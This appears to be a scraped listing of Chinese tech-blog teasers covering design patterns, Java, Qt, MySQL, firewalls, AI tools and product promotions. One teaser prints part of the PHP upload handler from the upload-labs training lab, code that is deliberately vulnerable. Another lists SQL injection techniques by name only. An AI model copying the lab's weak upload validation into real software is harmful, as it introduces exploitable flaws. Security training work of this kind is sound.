文章目录 前言一、基本介绍1.1 什么是单例模式1.2 为什么要用单例模式1.3 应用场景1.4 单例优缺点 二、单例模式的实现方式2.1 饿汉式单例2.1.1 静态变量方式2.1.2 静态代码块 2.2 懒汉式单例2.2.1 懒汉式单例2.2.2 懒汉式优化①-线程安全2.2.2 懒汉式优化②-双重检查锁2.2.3 懒…

智能人事管理系统:全球团队高效管理之道

在全球化背景下&#xff0c;企业面临着管理分布在各地的员工队伍的挑战。为了确保人力资源管理的高效运作&#xff0c;实现跨地域、跨时区的协同工作&#xff0c;智能化人事管理系统应运而生。本文将重点介绍一款功能全面、智能化的人事管理系统都具备哪些功能&#xff0c;可以…

upload-labs第十七十八关

第十七关 $is_upload false; $msg null;if(isset($_POST[submit])){$ext_arr array(jpg,png,gif);$file_name $_FILES[upload_file][name];$temp_file $_FILES[upload_file][tmp_name];$file_ext substr($file_name,strrpos($file_name,".")1);$upload_file …

【面试必会】线程池创建方式详解

最近面试问道了线程池的创建方式&#xff0c;这里出一篇文章记录下这一知识点&#xff01; 线程池是一种多线程处理形式&#xff0c;处理过程中将任务添加到队列&#xff0c;然后在创建线程后自动启动这些任务。线程池线程都是后台线程。每个线程都使用默认的ThreadFactory创建…

【QT】Ubuntu22.04 配置 QT6.5 LTS

【QT】Ubuntu22.04 配置 QT6.5 LTS 文章目录 【QT】Ubuntu22.04 配置 QT6.5 LTS1.注册QT Group的账号2.安装QT Creator3.启动QT Creator报错from 6.5.0, xcb-cursor0 or libxcb-cursor0 is needed to load the Qt xcb platform plugin.4.运行QT的demoReference 1.注册QT Group的…

JAVASE基础语法(异常、常用类)

一、异常 1.1 什么是异常 异常就是指不正常。是指代码在运行过程中可能发生错误&#xff0c;导致程序无法正常运行。 package com.atguigu.exception;public class TestException {public static void main(String[] args) {int[] arr {1,2,3,4,5};System.out.println(&quo…

【AI写作】未来科技趋势:揭秘DreamFusion的革新力量

首先&#xff0c;这篇文章是基于笔尖AI写作进行文章创作的&#xff0c;喜欢的宝子&#xff0c;也可以去体验下&#xff0c;解放双手&#xff0c;上班直接摸鱼~ 按照惯例&#xff0c;先介绍下这款笔尖AI写作&#xff0c;宝子也可以直接下滑跳过看正文~ 笔尖Ai写作&#xff1a;…

数据库之数据库恢复技术思维导图+大纲笔记

大纲笔记&#xff1a; 事务的基本概念 事务 定义 用户定义的一个数据库操作系列&#xff0c;这些操作要么全做&#xff0c;要么全不做&#xff0c;是一个不可分割的基本单位 语句 BEGIN TRANSACTION 开始 COMMIT 提交&#xff0c;提交事务的所有操作 ROLLBACK 回滚&#xff0c…

Centos之yum安装好玩的命令

1.会动的小火车 我在root下使用的 yum install sl.x86_64sl2.figlet yum install figlet.x86_64figlet 55553.cowsay会说话 yum install cowsay

防火墙详细讲解

目录 介绍 防火墙的特征 防火墙的组成 介绍 防火墙&#xff08;firewall&#xff09;是指一种计算机硬件和软件的结合&#xff0c;将内部网和公众访问网&#xff08;如Internet&#xff09;分开的方法&#xff0c;它实际上是一种隔离技术。防火墙主要由服务访问规则、验证工…

python数字验证码自动识别

&#x1f47d;发现宝藏 前些天发现了一个巨牛的人工智能学习网站&#xff0c;通俗易懂&#xff0c;风趣幽默&#xff0c;忍不住分享一下给大家。【点击进入巨牛的人工智能学习网站】。 在网络上&#xff0c;许多网站和应用程序使用验证码&#xff08;Completely Automated Publ…

MYSQL 存储java.sql.Timestamp类型的数据时,mysql存储时间和java获取到的时间相差8小时

###JAVA JDBC驱动 com.mysql.cj.jdbc.DriverJDBC连接字符串 jdbc:mysql://127.0.0.1:3006/db?useUnicodetrue&characterEncodingUTF8&useLegacyDatetimeCodefalse&serverTimezoneUTCMySQL 时区 show global variables like “%time_zone%”; 问题分析 驱动…

网络安全之SQL注入漏洞复现(中篇)(技术进阶)

目录 一&#xff0c;报错注入 二&#xff0c;布尔盲注 三&#xff0c;sleep延时盲注 四&#xff0c;DNSlogs 盲注 五&#xff0c;二次注入 六&#xff0c;堆叠注入 总结 一&#xff0c;报错注入 报错注入就是在错误信息中执行 sql 语句&#xff0c;利用网站的报错信息来带…

【奶奶看了都会】用 AI做猫咪剧情短片保姆级教程

大家这段时间在刷短视频的时候&#xff0c;是不是经常会刷到那种猫咪剧情短片&#xff0c;配合喵喵喵......的魔性背景音乐&#xff0c;让人看了非常上头。最近这类视频在抖音、视频号、小红书上非常火&#xff0c;今天就来教大家如何制作。 1.GPT4账号准备 我们用到的AI生图…

应用于智能装备制造,钡铼IOy系列模块展现其强大的灵活性和实用性

随着科技的飞速发展&#xff0c;智能制造已经成为工业4.0时代的核心驱动力。在此背景下&#xff0c;钡铼技术推出的IOy系列模块以其独特的设计、卓越的性能以及无可比拟的灵活性与实用性&#xff0c;在智能装备制造领域展现出了强大的技术优势和应用价值。 首先&#xff0c;钡…

HTTP与SOCKS-哪种协议更适合您的代理需求?

网络代理技术是我们日常使用网络时必不可少的一项技术&#xff0c;它可以为我们提供隐私保护和负载均衡的能力&#xff0c;从而保证我们的网络通信更加安全和顺畅。而其中最主流的两种协议就是HTTP和SOCKS。虽然它们都是用于网络代理的协议&#xff0c;但在实际应用中却存在着一…

儿童护眼落地灯哪个牌子好?值得买的五款大路灯分享

近年来&#xff0c;随着近视问题日益严重&#xff0c;消费者越来越倾向于选购能够优化照明环境、减轻眼部压力的护眼落地灯。然而&#xff0c;市场上的护眼落地灯品质良莠不齐&#xff0c;许多品牌为了追求低廉价格和扩大市场份额&#xff0c;不惜采取模仿甚至抄袭的方式&#…

MySQL主从结构搭建

说明&#xff1a;本文介绍如何搭建MySQL主从结构&#xff1b; 原理 主从复制原理如下&#xff1a; &#xff08;1&#xff09;master数据写入&#xff0c;更新binlog&#xff1b; &#xff08;2&#xff09;master创建一个dump线程向slave推送binlog&#xff1b; &#xff…

TIMEDAY·腾讯智慧出行技术开放日:发布汽车行业大模型、升级智能汽车云

4月24日&#xff0c;北京车展前夕&#xff0c;在“2024 TIME DAY腾讯智慧出行技术开放日”上&#xff0c;腾讯发布了汽车行业大模型“全域智能”方案&#xff0c;覆盖汽车研发、生产、营销、服务、企业协同等五大核心场景。与此同时&#xff0c;腾讯发布了在智能汽车云、智能座…